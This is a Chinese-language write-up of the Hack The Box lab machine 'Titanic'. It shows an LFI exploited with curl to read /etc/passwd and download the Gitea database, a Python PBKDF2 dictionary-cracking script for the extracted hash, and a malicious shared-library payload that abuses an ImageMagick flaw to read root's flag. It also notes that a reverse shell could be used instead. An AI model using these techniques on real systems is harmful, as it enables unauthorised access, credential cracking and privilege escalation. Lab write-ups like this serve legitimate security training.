HTB-Titanic

LPrincess2025年3月10日大约 3 分钟

Machine Name: Titanic

Difficulty: Easy

HTB machine link: https://app.hackthebox.com/machines/Titanicopen in new window

Enumeration

Nmap

nmap -sC -sV -oN titanic.nmap 10.10.11.55

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp   open  http    Apache 2.4.41 (Ubuntu)
3306/tcp open  mysql   MySQL 5.7.32-0ubuntu0.20.04.1

user flag

通过将 xxx.json 替换为 .. 来测试 LFI/../../../etc/passwd 成功返回 /etc/passwd 的内容。这证实了该网站容易受到 LFI 的攻击。

/etc/passwd 文件，是系统用户配置文件，存储了系统中所有用户的基本信息，并且所有用户都可以对此文件执行读操作。

在 /etc/passwd 中，我们看到一个developer用户,那就是user的flag：

root flag

通过提取 /etc/hosts 检查其他域，发现：

127.0.0.1 localhost titanic.htb dev.titanic.htb

访问 http://dev.titanic.htb 将打开 Gitea 登录页面。可以注册新用户进行探索。在 Gitea 中，有两个感兴趣的存储库：

docker-config
flask-app

在 docker-config 存储库中，我们找到了一个名为 docker-compose.yml 的文件，其中包含以下内容：

查看 docker-config 显示 Gitea 在 Docker 容器中运行，并将数据存储在 /home/developer/gitea/data 中。

提取 Gitea 数据库

通过参考 Gitea 的文档open in new window，我们了解到所有用户都存储在 gitea.db SQLite 文件中，而该文件又存储在 docker 映像内的 /data/gitea 中。最后的路径是：

/home/developer/gitea/data/gitea/gitea.db

回到前面的 LFI 漏洞，我们可以使用它来提取 gitea.db 文件。

curl -s "http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db" -o gitea.db

sqlite3 gitea.db
.tables
# 查看表里字段名
.schema user
select * from user;
select lower_name, passwd,salt from user;

我们为developer用户检索经过哈希处理的密码（和 salt）

Hashcat 破解密码

sha256:50000:8bf3e3452b78544f8bee9400d6936d34:e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56

hashcat -m 10900 gite.hashes rockyou.txt

hashcat没爆出来，问了gpt，写了一个脚本：

import hashlib
import binascii
 
def pbkdf2_hash(password, salt, iterations=50000, dklen=50):
    hash_value = hashlib.pbkdf2_hmac(
        'sha256',
        password.encode('utf-8'),
        salt,
        iterations,
        dklen
    )
    return hash_value
 
def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50):
    target_hash_bytes = binascii.unhexlify(target_hash)
    
    with open(dictionary_file, 'r', encoding='utf-8') as file:
        count = 0
        for line in file:
            password = line.strip()
            hash_value = pbkdf2_hash(password, salt, iterations, dklen)
            count += 1
            print(f"正在检查密码 {count}: {password}")
            if hash_value == target_hash_bytes:
                print(f"\nFound password: {password}")
                return password
        print("Password not found.")
        return None
 
salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34')
target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'
dictionary_file = 'rockyou.txt'
find_matching_password(dictionary_file, target_hash, salt)


# 8bf3e3452b78544f8bee9400d6936d34:e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56

User Shell

有了破解的密码，我们就可以 SSH 进入：

ssh developer@titanic.htb

快速的 sudo -l 检查发现没有直接的 sudo 权限。查看一下拥有写入权限的目录：

find /opt -writable -type d 2>/dev/null

发现一个/opt/scripts/identify_images.sh，查看脚本文件,从这段脚本代码可以得知我们需要的目录为/opt/app/static/assets/images/,并且能够知道imagemagick存在，先查看一下imagemagick版本信息

ImageMagick 漏洞利用

系统使用 ImageMagick 7.1.1–35，该漏洞容易受到已知任意代码执行漏洞的攻击。通过制作恶意文件（例如 .mvg 或 .svg），我们可以在 identify 处理它时执行命令。https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8open in new window

Payload

我们需要在/opt/app/static/assets/images/目录下生成一个可执行的库来利用这个漏洞，并且前面得知该目录拥有写入权限输入cd /opt/app/static/assets/images/进入该目录下，然后输入

下面是一个使用共享库方法的简化示例，尽管在实践中经常使用反向 shell 有效负载。编译恶意 .so 文件：

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor)) void init(){
    system("cat /root/root.txt > /tmp/root.txt");
    exit(0);
}
EOF

旦 ImageMagick 处理了这个恶意文件，它就会执行构造函数中的代码，有效地将root.txt复制到 /tmp/root.txt。或者，您可以嵌入反向 shell。

这段代码会复制root.txt，并且给予权限。一段时间后，当前目录下就会出现被复制的root.txt，输入cat root.txt即可看到rootflag

HTB-Titanic

# Enumeration

# Nmap

# user flag

# root flag

# 提取 Gitea 数据库

# Hashcat 破解密码

# User Shell

# ImageMagick 漏洞利用

# Payload